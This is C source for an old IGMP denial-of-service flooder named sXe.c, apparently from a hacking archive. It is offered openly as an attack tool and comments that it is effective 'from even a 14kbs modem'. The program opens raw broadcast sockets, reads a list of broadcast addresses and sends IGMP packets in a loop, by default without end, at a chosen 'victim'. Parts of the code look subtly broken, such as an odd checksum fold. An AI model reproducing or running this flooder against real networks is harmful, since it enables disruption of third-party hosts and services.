/*
 *  - Program: sXe.c 
 *  - Purpose: IGMP DoS
 *  - Author: lore <lore@r00tabega.com>
 *  - Compile: cc -o sXe sXe.c
 *  - Date: 15/8/99
 *  - Usage: ./sXe -h
 *
 *  - If you can figure out how to use this, you can create quite an 
 *    effective attack from even a 14kbs modem. 
 *
 */

#define __BSD_SOURCE

/* Header files */

#include <db.h>
#include <netinet/in_systm.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/igmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>

__BEGIN_DECLS

/* Definitions */

#ifndef IGMP_ALL_HOSTS
#define IGMP_ALL_HOSTS (htonl(0xE0000001L))
#endif

#define TRUE  (0x1)
#define FALSE (0x0)
#define ERR   (0xffffffff)

#define IP_SIZE        (sizeof(struct ip))
#define IGMP_SIZE      (sizeof(struct igmp))
#define TOTAL_SIZE     (IP_SIZE + IGMP_SIZE)
#define IP_OFF         (0)
#define IGMP_OFF       (IP_SIZE)
#define MAX_BROADCASTS 100

/* Data-types */

struct broadcast_ele
  {
    u_long ipaddr;
  };

typedef int sock_t;

/* Global variables */

FILE * stream = stderr;
int    count = ERR;
sock_t raw_sock;
struct broadcast_ele bc_table[MAX_BROADCASTS];
char * packet_buf;
char * yes = "1";

/* Prototypes */

int     main              __P ((int, char * *));
void    usage             __P ((char *));
void    ctrlc             __P ((int));
void    die               __P ((int));
size_t  send_igmp_packet  __P ((u_long, u_long, u_char, u_char));
char *  strip             __P ((u_long));
u_long  res               __P ((char *));
u_short generate_checksum __P ((u_short *, int));

__END_DECLS

/* Functions */

int main (int argc, char * * argv)
{
  FILE * fptr;
  u_int pos = 0;
  u_char type = 0;
  u_char code = 0;
  u_long victim = ERR;
  u_char * ptr = *argv;
  u_char * fname = NULL;

  ++argv;
  --argc;

  while (argv && *argv)
    {
      if ( (*(*(argv))) == '-' )
        {
          switch ( *(*(argv) + 1) )
            {
            case ('n'):
                {
                  if ( !(*(argv + 1)) || ((count = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            case ('t'):
                {
                  if ( !(*(argv + 1)) || ((type = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            case ('c'):
                {
                  if ( !(*(argv + 1)) || ((code = atoi(*(argv + 1))) <= 0) )
                    {
                      usage (ptr);
                    }
                  ++argv;
                  break;
                }
            default:
              usage (ptr);
            }
        }
      else if (victim == ERR)
        {
          if ((victim = res(*(argv))) == ERR)
            {
              fprintf(stderr, "> Bad victim: %s\n", *argv);
              exit(EXIT_FAILURE);
            }
        }
      else if (!fname)
        {
          fname = (*(argv));
        }
      else usage (ptr);
      ++argv;
    }

  if (victim == ERR || !fname)
    {
      usage(ptr);
    }

  if (!(packet_buf = (char *)malloc(TOTAL_SIZE)))
    {
      fprintf(stream, "> Ran out of memory\n");
      exit(EXIT_FAILURE);
    }

  for (pos = 0; pos < MAX_BROADCASTS; ++pos)
    {
      ((*(bc_table + pos)).ipaddr) = 0;
    }
  pos = 0;

  if (!(fptr = fopen(fname, "r")))
    {
      fprintf(stream, "> Couldn't open %s: %s\n", fname, strerror(errno));
      exit(EXIT_FAILURE);
    }

  while ( (!feof(fptr)) && (pos < MAX_BROADCASTS) )
    {
      u_long ipaddr;
      memset(packet_buf, 0, TOTAL_SIZE);
      fgets(packet_buf, TOTAL_SIZE, fptr);

      if ( (!*packet_buf) || (*packet_buf == '#') ) continue;
      else if ((ipaddr = inet_addr(packet_buf)) <= 0)
        {
          fprintf(stream, "> Invalid IP: %s\n", packet_buf);
        }
      else
        {
          ((*(bc_table + pos)).ipaddr) = ipaddr;
          ++pos;
        }
    }

  if (!pos)
    {
      fprintf(stream, "> Loaded no broadcasts\n");
      exit(EXIT_SUCCESS);
    }

  if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
    {
      fprintf(stream, "> Raw socket could not be created: %s\n",
              strerror(errno));
      exit(EXIT_FAILURE);
    }

  else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
                        sizeof(yes)) == ERR) ||
            (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes,
                        sizeof(yes)) == ERR) )
    {
      fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

  fprintf(stream,
          "> sXe.c IGMP attack\n");
  fprintf(stream, "> victim: %s\n", strip(victim));

  if (count == ERR) fprintf(stream, "> count: Infinite\n");
  else              fprintf(stream, "> count: %d\n", count);

  fprintf(stream, "> type: %d\n", (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type);
  fprintf(stream, "> code: %d\n", code);

  signal(SIGINT, ctrlc);

  fprintf(stream, "> Hit Ctrl-C to abort\n");

  pos = 0;
  while (count)
    {
      if ( (pos == MAX_BROADCASTS) || ((*(bc_table + pos)).ipaddr) == 0)
        {
          pos = 0;
          continue;
        }

      if ( send_igmp_packet(victim, (*(bc_table + pos)).ipaddr,
                            type, code) == ERR )
        {
          fprintf(stream, "> send_igmp_packet() failed: %s\n",
                  strerror(errno));
          die(EXIT_FAILURE);
        }

      if (count != ERR) --count;
      ++pos;
    }
  die(EXIT_SUCCESS);
}

void usage (char * pname)
{
  fprintf(stream,
          "Usage: %s <victim> <bc_file> [ -n <number> ] [ -t <type> ]"
          " [ -c <code> ]\n", pname);

  exit(EXIT_SUCCESS);
}

void ctrlc (int useless)
{
  die (EXIT_SUCCESS);
}

void die (int code)
{
  fprintf(stream, "> Flood ended\n");
  shutdown(raw_sock, 2);
  free(packet_buf);
  exit(code);
}

size_t send_igmp_packet (u_long from, u_long to, u_char type, u_char code)
{
  int ret;
  struct ip * ip_ptr = (struct ip *)(packet_buf + IP_OFF);
  struct igmp * igmp_ptr = (struct igmp *)(packet_buf + IGMP_OFF);
  struct sockaddr_in sa;

  sa.sin_port = htons(0);
  sa.sin_addr.s_addr = to;
  sa.sin_family = AF_INET;

  memset(packet_buf, 0, TOTAL_SIZE);

  ip_ptr->ip_hl  = 5;
  ip_ptr->ip_v   = 4;
  ip_ptr->ip_tos = 0;
  ip_ptr->ip_len = TOTAL_SIZE;
  ip_ptr->ip_id  = 0;
  ip_ptr->ip_off = 0;
  ip_ptr->ip_ttl = 255;
  ip_ptr->ip_p   = IPPROTO_IGMP;
  ip_ptr->ip_sum = generate_checksum((u_short *)ip_ptr, IP_SIZE);
  /* ip_ptr->ip_src.s_addr = from; */
  ip_ptr->ip_src.s_addr = INADDR_ANY;
  ip_ptr->ip_dst.s_addr = to;

  igmp_ptr->igmp_type  = (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type;
  igmp_ptr->igmp_code  = code;
  igmp_ptr->igmp_cksum = generate_checksum((u_short *)igmp_ptr, IGMP_SIZE);
  igmp_ptr->igmp_group.s_addr = IGMP_ALL_HOSTS;

  ret = sendto(raw_sock, packet_buf, TOTAL_SIZE, 0,
               (struct sockaddr *)&sa, sizeof(sa));

  return (ret);
}

char * strip (u_long ipaddr)
{
  struct in_addr addr;
  addr.s_addr = ipaddr;
  return (inet_ntoa(addr));
}

u_long res (char * host)
{
  u_long ipaddr;
  struct hostent * hp;

  if ((ipaddr = inet_addr(host)) == ERR)
    {
      if (!(hp = gethostbyname(host))) return (FALSE);
      memcpy(&ipaddr, hp->h_addr, hp->h_length);
    }
  return (ipaddr);
}

/* Not my code */

u_short generate_checksum (u_short *addr, int len)
{
  register int nleft = len;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *addr++;
      nleft -= 2;
    }

  if (nleft == 1)
    {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
    }

  sum = (sum >> 16) + (sum + 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}
/*                    www.hack.co.za              [2000]*/
 